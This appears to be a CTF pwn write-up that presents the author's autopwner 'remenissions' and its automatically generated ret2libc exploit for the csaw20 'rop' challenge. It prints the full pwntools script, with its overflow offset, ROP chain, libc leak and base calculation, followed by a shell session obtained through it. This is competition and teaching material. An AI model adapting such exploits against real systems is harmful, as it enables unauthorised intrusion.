Custom Tooling

So this writeup is a bit unique when compared to the other writeups. It's mainly to show you about some types of custom tooling that you can make and use to make you better at ctfs.

Just to preface this, generally speaking being a script kiddy is bad. Being a script kiddy generally means that you are using a tool to substitute for a lack of knowledge. A good way to tell the difference is could you make the tool that you are using (unless it is a tool like Ghidra that would take 5 years to make, in which case you have a rough understanding of what it does). If there is a task apart of some work that you do, which you know how to do and have to do that task often, writing a good usable tool to automate that task will flat out make you better able to do that work (assuming it won't take like 10 years to make that tool). Here is an example.

Remenissions

So let's take for instance the challenge rop from csaw20. This is fairly simple to the challenges from the module 08-bof_dynamic. It's a simple bof challenge, with the libc provided. To solve it, you just do a buffer overflow of the return address, do a puts libc infoleak, call main again, and then re-exploit the buffer overflow bug to return to libc and pop a shell.

Now before hand, the typical workflow for this type of challenge look something like this:

0.) Download Challenge
1.) Get Binary Attributes/Mitigations
2.) Run it to see what it does
3.) Load it into Ghidra
4.) Analyze code, find vulnerabilities and alternate win conditions
5.) Look at bugs and things the binary has, decide on attack to attempt
6.) Write exploit script to launch attack
7.) Test it out locally
8.) Run against remote server, get flag and submit it
9.) Fix stupid mistakes made in previous steps

Now the thing is, there are a lot of easy ctf challenge types that you will see in most ctfs that aren't extremely (includes buffer overflows, ret2libc/remote libc id, fmt strings, etc.). Because of that I wrote an autopwner called remenissions (https://github.com/guyinatuxedo/remenissions).

Now instead of the above workflow, imagine if the workflow looked like this:

$    remenissions -b rop -l libc-2.27.so

and after the autopwner is done:

[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
libc base is: 0x7f64faa2c000


Exploit Successful: exploit-Ret2Libc-0.py


$    ls
libc-2.27.so  readme.md  remenissions-work  rop  verfied-exploit-Ret2Libc-0.py
$    cat verfied-exploit-Ret2Libc-0.py
from pwn import *

import os
import sf
import sys
import signal

target = process("./rop", env={"LD_PRELOAD":"./libc-2.27.so"})
gdb.attach(target)
bof_payload = sf.BufferOverflow(arch=64)

bof_payload.set_input_start(0x28)
rop_chain = [4195971, 6295576, 4195488, 4195804]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)
target.recvline()
leak = target.recvuntil(b"\n").strip(b"\n")
puts_address = u64(leak + b"\x00"*(8-len(leak)))
libc_base = puts_address - (526896)
print("libc base is: %s" % hex(libc_base))
bof_payload = sf.BufferOverflow(arch = 64)
bof_payload.add_base("libc", libc_base)
bof_payload.set_input_start(0x28)
bof_payload.set_ret(0x10a45c, "libc")
payload = bof_payload.generate_payload()
target.sendline(payload)

# Exploit Verification starts here 15935728


target.interactive()
$    python3 verfied-exploit-Ret2Libc-0.py
[+] Starting local process './rop': pid 5580
[*] running in new terminal: /usr/bin/gdb -q  "./rop" 5580
[-] Waiting for debugger: debugger exited! (maybe check /proc/sys/kernel/yama/ptrace_scope)
libc base is: 0x7f855384b000
[*] Switching to interactive mode
Hello
$ w
 12:57:24 up  1:14,  1 user,  load average: 0.63, 0.31, 0.17
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
guyinatu :0       :0               11:51   ?xdm?   1:52   0.00s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu gnome-session --session=ubuntu
$ ls
core          readme.md         rop
libc-2.27.so  remenissions-work  verfied-exploit-Ret2Libc-0.py

As you can see here, remenissions was able to automatically generate a successful exploit. During csaw20 this is how my team (and a few others) solved this challenge. As of now, the remenissions has landed over 100 ctf challenges (in the remenissions repo is a link to them)

Now the reason why I'm showing you this isn't to flex. It's to show you how useful good tooling can be. Because I made remenissions, there is a good amount of easy ctf pwn challenges (that I've solved dozens of times before) that I can solve with the push of a button. Now remenissions itself comprises a lot of different tools, that automate a lot of tasks which make this up. The tools automate tasks such as bug finding with ghidra, remote libc id, dealing with libc linker issues, dynamic analysis to see what the actual memory layout is while running the binary, exploit generation and verification, looking at the bugs/alternate win conditions and choosing an attack, and more. This just goes to give you an idea of some of the things that tools you make can do, and the advantage it can give you (even outside of ctfs, with vuln research work).